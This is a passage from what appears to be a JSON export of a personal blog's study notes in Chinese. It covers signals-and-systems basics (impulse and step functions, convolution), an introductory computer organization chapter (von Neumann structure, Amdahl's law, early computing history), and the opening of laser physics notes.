f (at)$ , 称为对信号$f(t)$的尺度变换。若$a \u0026gt;1$ ,则波形沿横坐标压缩;若$0\u0026lt; a \u0026lt; 1$ ,则扩展:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121016.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"组合变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E7%BB%84%E5%90%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"组合变换\"\u003e\u003c/a\u003e组合变换\u003c/h4\u003e\u003cp\u003e原图进行变换:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121048.png\"/\u003e\u003c/p\u003e\u003cp\u003e变换得到原图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121123.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"1-4-阶跃函数和冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-4-%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0%E5%92%8C%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"1.4-阶跃函数和冲激函数\"\u003e\u003c/a\u003e1.4-阶跃函数和冲激函数\u003c/h3\u003e\u003cp\u003e这俩是奇异函数(函数本身\u003cstrong\u003e有不连续点(跳变点)\u003c/strong\u003e 或 \u003cstrong\u003e其导数与积分有不连续点\u003c/strong\u003e 的一类函数)\u003c/p\u003e\u003ch4 id=\"阶跃函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"阶跃函数\"\u003e\u003c/a\u003e阶跃函数\u003c/h4\u003e\u003cp\u003e函数如下:$\\epsilon(t)=0:x\u0026lt;=0;1,x\u0026gt;0$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131707.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"单位冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8D%95%E4%BD%8D%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"单位冲激函数\"\u003e\u003c/a\u003e单位冲激函数\u003c/h4\u003e\u003cul\u003e\u003cli\u003e函数值只在t = 0时不为零\u003c/li\u003e\u003cli\u003e积分面积为1\u003c/li\u003e\u003cli\u003e$t=0$时,$\\delta(t)\\to \\infty$,为无界函数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131930.png\"/\u003e\u003c/p\u003e\u003cp\u003e对$\\epsilon(t)$\u003cstrong\u003e求导即可得到\u003c/strong\u003e单位冲激函数$\\delta(t)$。它高度无穷高,厚度无穷窄,面积为1。反过来,对单位冲激函数积分就可以得到$\\epsilon(t)$。\u003c/p\u003e\u003cp\u003e它有如下重要性质:\u003c/p\u003e\u003col\u003e\u003cli\u003e取样性:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132334.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$sin(t+\\frac{\\pi}{4})\\delta(t)=sin(\\frac{\\pi}{4})\\delta(t)=\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003cli\u003e$\\int_{-\\infty}^{\\infty}{sin(t-\\frac{\\pi}{4})\\delta(t)}=-\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e冲激偶:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132850.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132931.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003e尺度变换\u003c/strong\u003e:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134240.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134319.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"2-连续系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"2-连续系统的时域分析\"\u003e\u003c/a\u003e2-连续系统的时域分析\u003c/h2\u003e\u003ch3 id=\"2-1-LTI连续系统的响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-1-LTI%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.1-LTI连续系统的响应\"\u003e\u003c/a\u003e2.1-LTI连续系统的响应\u003c/h3\u003e\u003col\u003e\u003cli\u003e微分方程的经典解\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e步骤相对固定:\u003c/p\u003e\u003cp\u003e先计算通解,再计算特解,随后回代特解和激励,得到特解的系数;最后回代,利用初始条件得到方程的未知系数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e计算通解:就是方程对应齐次微分方程的解。得到特征根后即可写出通解\u003c/li\u003e\u003cli\u003e计算特解:根据激励的形态确定特解形式。激励形式有指数、幂级数、三角函数三种形式,以及冲激函数。前三种有固定的特解形式\u003c/li\u003e\u003cli\u003e回代得到特解系数:就是回代,然后化简,就能得到特解系数\u003c/li\u003e\u003cli\u003e得到全解:通解=齐次解+特解。最后代入初始条件得到通解的系数,即可得到全解\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e关于$0_-$和$0_+$值\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零输入响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零状态响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e全响应\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般情况下,根据换路定律,二者应该是相等的。但是\u003cstrong\u003e当激励中含有冲激函数及其导数时,$t=0$激励接入系统时,响应及其导数就可能发生跃变\u003c/strong\u003e。这种情情况下,就需要手工计算二者。通常有两种方法:\u003cem\u003e积分法\u003c/em\u003e和\u003cem\u003e待定系数法\u003c/em\u003e。\u003c/p\u003e\u003ch3 id=\"2-2-冲激响应和阶跃响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-2-%E5%86%B2%E6%BF%80%E5%93%8D%E5%BA%94%E5%92%8C%E9%98%B6%E8%B7%83%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.2-冲激响应和阶跃响应\"\u003e\u003c/a\u003e2.2-冲激响应和阶跃响应\u003c/h3\u003e\u003ch3 id=\"2-3-零状态响应与卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-3-%E9%9B%B6%E7%8A%B6%E6%80%81%E5%93%8D%E5%BA%94%E4%B8%8E%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.3-零状态响应与卷积积分\"\u003e\u003c/a\u003e2.3-零状态响应与卷积积分\u003c/h3\u003e\u003cp\u003e根据LTI系统的线性性质、齐次性质、时不变性质可以得到,任意激励$f(t)$的响应$y_{zs}(t)$为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey_{zs}(t)=\\int_{-\\infty}^{\\infty}{}f(\\tau)h(t-\\tau)d\\tau=f(t)*h(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e从直观上看,这相当于:$f(t)$引发的响应等于所有构成它的冲激函数单独作用引起的响应之和。\u003c/p\u003e\u003cp\u003e从而,计算LTI系统响应就可以直接用卷积积分计算,无需求解经典微分方程。一般步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e求$h(t)$:这一步就是求解微分方程,得到系统响应\u003c/li\u003e\u003cli\u003e求$y_{zs}(t)$:直接用任意激励$f(t)$卷上系统响应$h(t)$就能得到零状态响应$y_{zs}(t)$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"2-4-卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-4-%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.4-卷积积分\"\u003e\u003c/a\u003e2.4-卷积积分\u003c/h3\u003e\u003cp\u003e定义:一般而言,有两个定义在实数域上的函数$f_1(t)$和$f_2(t)$,它们的卷积积分定义为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)=f_1(t)*f_2(t)=\\int_{-\\infty}^{\\infty}{f_1(\\tau)f_2(t-\\tau)d\\tau}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算方法也很多,比如图解法:\u003cstrong\u003e已知二者波形时,先换元,将$t$换为$\\tau$;再将$f_2(\\tau)$变换为$f_2(t-\\tau)$;随后将二者相乘,最后将乘积对$\\tau$积分\u003c/strong\u003e。注意,这里对乘积积分时,需要注意到$t$是个不确定的变量,应该分区间讨论。\u003c/p\u003e\u003cp\u003e性质:首先是代数运算,它满足\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律\u003c/li\u003e\u003cli\u003e分配律\u003c/li\u003e\u003cli\u003e结合律\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其次,是函数和冲激函数的卷积,这是最简单的一种情况。有以下结论:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t)=\\delta(t)*f(t)=\\int_{-\\infty}^{\\infty}{\\delta(\\tau)f(t-\\tau)d\\tau}=f(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e也就是任意函数卷上$\\delta(t)$得到它本身。推广得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t-t_0)=\\delta(t-t_0)*f(t)=f(t-t_0)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e还可以得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef_1(t-t_1)*f_2(t-t_2)=f_1(t-t_2)*f_2(t-t_1)=f_1(t)*f_2(t)*\\delta(t-t_1-t_2)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e此外,还有:$f(t)*\\delta’(t)=f’(t)$成立\u003c/p\u003e\u003ch2 id=\"3-离散系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#3-%E7%A6%BB%E6%95%A3%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"3-离散系统的时域分析\"\u003e\u003c/a\u003e3-离散系统的时域分析\u003c/h2\u003e\u003ch2 id=\"4-傅里叶变换和系统的频域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#4-%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2%E5%92%8C%E7%B3%BB%E7%BB%9F%E7%9A%84%E9%A2%91%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4-傅里叶变换和系统的频域分析\"\u003e\u003c/a\u003e4-傅里叶变换和系统的频域分析\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第一章-绪论","time":"2022-12-19T00:34:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e学时:78+20+1周\u003cbr/\u003e学分:5.5\u003cbr/\u003e类型:必修\u003cbr/\u003e参考书-教材:计算机组成与系统结构(十二五·第二版)、计算机组成原理(王闵,电子工业出版社,2001),计算机系统结构(李学干,西电,2001),深入理解计算机系统(机械工业出版社)\u003cbr/\u003e考核:期末考试,期中考试(\u0026gt;40课时)-80%、作业,测验,出勤-10%、实验(5个)-10%\u003cbr/\u003e动机:不是专业基础课,但是有助于对计算机的理解和问题解决\u003cbr/\u003e要求:做笔记,纸质优先\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e![[Pasted image 20221219100518.png]]\u003c/p\u003e\u003ch2 id=\"计算机硬件基本组成\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A1%AC%E4%BB%B6%E5%9F%BA%E6%9C%AC%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"计算机硬件基本组成\"\u003e\u003c/a\u003e计算机硬件基本组成\u003c/h2\u003e\u003cp\u003e计算机的物理硬件有很多,不过可以大致划分为几类。作为现代计算机原型的冯诺依曼机,其结构可作如下划分:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e输入设备\u003c/strong\u003e 可以是磁盘,键盘,摄像头等设备\u003cbr/\u003e\u003cstrong\u003e控制器\u003c/strong\u003e\u003cbr/\u003e\u003cstrong\u003e运算器\u003c/strong\u003e 负责进行运算\u003cbr/\u003e\u003cstrong\u003e存储器\u003c/strong\u003e 包含寄存器等\u003cbr/\u003e\u003cstrong\u003e输出设备\u003c/strong\u003e 可以是网卡等I/O设备\u003c/p\u003e\u003cp\u003e也可以说是三部分:中央处理器,存储器,I/O\u003c/p\u003e\u003ch3 id=\"计算机中的数据流动\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE%E6%B5%81%E5%8A%A8\" class=\"headerlink\" title=\"计算机中的数据流动\"\u003e\u003c/a\u003e计算机中的数据流动\u003c/h3\u003e\u003cp\u003e计算机的最主要用途是数据处理(借助运算器)。处理结果发送到输出设备。数据流向是从输入设备到运算器再到输出设备。在这过程中,可能会借助存储器(CPU存储空间不太大),因此运算器和存储器有交换。数据还会从运算器到控制器。这就是\u003cstrong\u003e数据流\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e对应的还有控制流。控制器控制输入设备,运算器,存储器,输出设备。它控制硬件协调方式。\u003c/p\u003e\u003cp\u003e还有\u003cstrong\u003e指令流\u003c/strong\u003e的说法。指令从存储器到指令,控制器对其解析并执行。\u003c/p\u003e\u003ch3 id=\"冯式架构计算机特点\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E5%86%AF%E5%BC%8F%E6%9E%B6%E6%9E%84%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%89%B9%E7%82%B9\" class=\"headerlink\" title=\"冯式架构计算机特点\"\u003e\u003c/a\u003e冯式架构计算机特点\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e内部进行二进制运算\u003c/strong\u003e 无论数值数据是什么类型都会以二进制模式处理。非数值数据也会以二进制模式存储。指令在编译之后也会变成二进制文件,供控制器解析执行\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e存储程序\u003c/strong\u003e 控制程序会预先存储在控制器中供后续执行\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e程序控制\u003c/strong\u003e 计算机由程序控制运行\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e早期计算机并非如此。比如以前的进制有十进制的,也有手动控制的计算机,有些计算机的程序是以硬件固定表示的。但是现在的计算机已经由以前的专用机进化成为如今的冯诺依曼通用机。\u003c/p\u003e\u003cp\u003e后续的讲解会按照冯式机的结构展开。上面的冯式机结构是经过一定抽象的,下面是PC机的结构。\u003c/p\u003e\u003cp\u003e总线挂载内存,处理器,I/O。总线包含三种线:控制线(传输控制指令,比如读写等),数据线(传输数据),地址线(传输地址)。\u003c/p\u003e\u003cp\u003e内存中的东西是一段一段存储的。每个最小单元大小是字节,若干字节构成一个段。段有指令段,数据段等。\u003c/p\u003e\u003cp\u003e以计算1+2为例,CPU向内存发送x地址和读取指令,内存将值发送给CPU(取址);对于y执行同样操作。然后,CPU计算1+2(执行),再将结果和地址还有写指令发送给内存,内存完成写入(写回)。\u003c/p\u003e\u003cp\u003e以前的PC机是南北桥结构。北桥链接高速设备(CPU,内存,显卡等),南桥链接低速设备(I/O,外接设备等)。相对于CPU寄存器而言,内存速度低几个数量级,因而在CPU内设Cache,映射内存中最常用区域。命中率越高处理器使用率越高。Cache目前按照速度递减空间递增分为L1,L2,L3。内存不够时,也可以把硬盘的一部分作为虚拟的内存使用,这软件实现类似上面硬件实现的Cache。\u003c/p\u003e\u003ch2 id=\"计算机层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"计算机层次结构\"\u003e\u003c/a\u003e计算机层次结构\u003c/h2\u003e\u003cp\u003e自上而下可以分为这么几层\u003c/p\u003e\u003cul\u003e\u003cli\u003e高级语言(应用层)(程序设计语言)\u003c/li\u003e\u003cli\u003e汇编语言(一种助记符)(微机原理)\u003c/li\u003e\u003cli\u003e机器语言(二进制码)\u003c/li\u003e\u003cli\u003e硬件结构\u003c/li\u003e\u003cli\u003e逻辑电路(构成硬件结构)(数电+模电)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e计组的讲解范围是机器语言和硬件结构。操作系统在汇编语言和机器语言之间。编译原理在前三层间。\u003c/p\u003e\u003cp\u003e机器语言和硬件结构之间有指令集(ISA)。一般有Intel X86,ARM等。\u003c/p\u003e\u003ch2 id=\"计算机分类和性能描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%88%86%E7%B1%BB%E5%92%8C%E6%80%A7%E8%83%BD%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"计算机分类和性能描述\"\u003e\u003c/a\u003e计算机分类和性能描述\u003c/h2\u003e\u003ch3 id=\"计算机分类法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%88%86%E7%B1%BB%E6%B3%95\" class=\"headerlink\" title=\"计算机分类法\"\u003e\u003c/a\u003e计算机分类法\u003c/h3\u003e\u003cp\u003e传统分类有按体积分类,现在已经不用;另一种是按照用途分为通用机和嵌入式计算机。前者包含\u003c/p\u003e\u003cul\u003e\u003cli\u003e个人计算机\u003c/li\u003e\u003cli\u003e服务器\u003c/li\u003e\u003cli\u003e超级计算机\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e后者应用广泛。\u003c/p\u003e\u003cp\u003e更常用的是Flynn分类法:根据三种数据流分类。有\u003c/p\u003e\u003cul\u003e\u003cli\u003e单指令流单数据流(SISD)\u003c/li\u003e\u003cli\u003eSIMD\u003c/li\u003e\u003cli\u003eMISD:无现实例子\u003c/li\u003e\u003cli\u003eMIMD\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"计算机性能描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%80%A7%E8%83%BD%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"计算机性能描述\"\u003e\u003c/a\u003e计算机性能描述\u003c/h3\u003e\u003cul\u003e\u003cli\u003e性能指标 MIPS(百万指令数每秒)等\u003c/li\u003e\u003cli\u003e测试程序\u003c/li\u003e\u003cli\u003eAmdahl定律 升级硬件后,系统的加速比和这硬件的使用频率/使用时间占比有关,所谓好钢用在刀刃上。\u003cbr/\u003e加速比定义:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$$\u003cbr/\u003eS_p=\\frac{T_\\text{改进前}}{T_\\text{改进后}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算时用下式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eS_p=\\frac{1}{(1-f)+\\frac{f}{s}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003ef是改进的部分占比,s是这硬件提升的倍数。若f取40%,对s取极限可以得到极限整体提升为1.66。因此可以得到结论:\u003cstrong\u003e部分系统优化若趋近于极限,则边际效应递减\u003c/strong\u003e。此外,f越大,整体提升越大。正所谓“抓住主要矛盾”。\u003c/p\u003e\u003ch2 id=\"计算机发展史\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/#%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%91%E5%B1%95%E5%8F%B2\" class=\"headerlink\" title=\"计算机发展史\"\u003e\u003c/a\u003e计算机发展史\u003c/h2\u003e\u003cul\u003e\u003cli\u003e早期工作\u003cul\u003e\u003cli\u003eCharles Babbage:\u003cul\u003e\u003cli\u003e差分机,分析机\u003c/li\u003e\u003cli\u003e内存、打孔卡片、CPU\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eGeorge Boole:\u003cul\u003e\u003cli\u003e布尔代数:0 1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eClaude Shannon:\u003cul\u003e\u003cli\u003eSwitching theory 开关理论\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e第一代电子计算机\u003cul\u003e\u003cli\u003eABC,1942\u003cul\u003e\u003cli\u003e最早的电子计算机\u003c/li\u003e\u003cli\u003e真空管,280\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/"},{"title":"激光与固体物理笔记","time":"2022-12-15T03:29:30Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch3 id=\"激光器组成\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E6%BF%80%E5%85%89%E5%99%A8%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"激光器组成\"\u003e\u003c/a\u003e激光器组成\u003c/h3\u003e\u003cul\u003e\u003cli\u003e激励能源\u003c/li\u003e\u003cli\u003e工作物质(含有亚稳态能级)\u003c/li\u003e\u003cli\u003e光学谐振腔\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"一、受激吸收、自发辐射和受激辐射\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/#%E4%B8%80%E3%80%81%E5%8F%97%E6%BF%80%E5%90%B8%E6%94%B6%E3%80%81%E8%87%AA%E5%8F%91%E8%BE%90%E5%B0%84%E5%92%8C%E5%8F%97%E6%BF%80%E8%BE%90%E5%B0%84\" class=\"headerlink\" 